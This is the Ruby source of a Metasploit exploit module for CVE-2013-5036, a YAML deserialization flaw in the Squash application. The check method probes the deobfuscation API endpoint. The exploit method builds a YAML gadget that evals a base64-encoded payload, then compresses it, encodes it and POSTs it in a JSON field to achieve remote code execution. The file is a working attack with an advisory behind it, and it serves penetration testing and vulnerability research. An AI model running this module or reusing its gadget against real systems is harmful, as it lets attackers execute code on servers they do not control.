##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Squash YAML Code Execution',
			'Description'    => %q{
					This module exploits a remote code execution vulnerability in the
				YAML request processor of the Squash application.
			},
			'Author'         =>
				[
					'Charlie Eriksen' # Discovery, initial exploit
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'],
					[ 'OSVDB', '95992'],
					[ 'CVE', '2013-5036']
				],
			'Platform'       => 'ruby',
			'Arch'           => ARCH_RUBY,
			'Privileged'     => false,
			'Targets'        =>	[ ['Automatic', {} ] ],
			'DisclosureDate' => 'Aug 06 2013',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"])
			], self.class)

	end

	def check
		response = send_request_cgi({
				'uri'     => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
				'method'  => 'POST',
				'ctype'   => 'application/json',
			})

		if response.code == 422
			print_status("Got HTTP 422 result, target may be vulnerable")
			return Exploit::CheckCode::Appears
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		code = Rex::Text.encode_base64(payload.encoded)
		yaml =	"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
				"'#{rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
				": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
		payload = Rex::Text.encode_base64(Zlib::Deflate.deflate(yaml)).gsub("\n", "")
		data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"

		send_request_cgi({
			'uri'     => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),
			'method'  => 'POST',
			'ctype'   => 'application/json',
			'data'    => data
		})
	end
end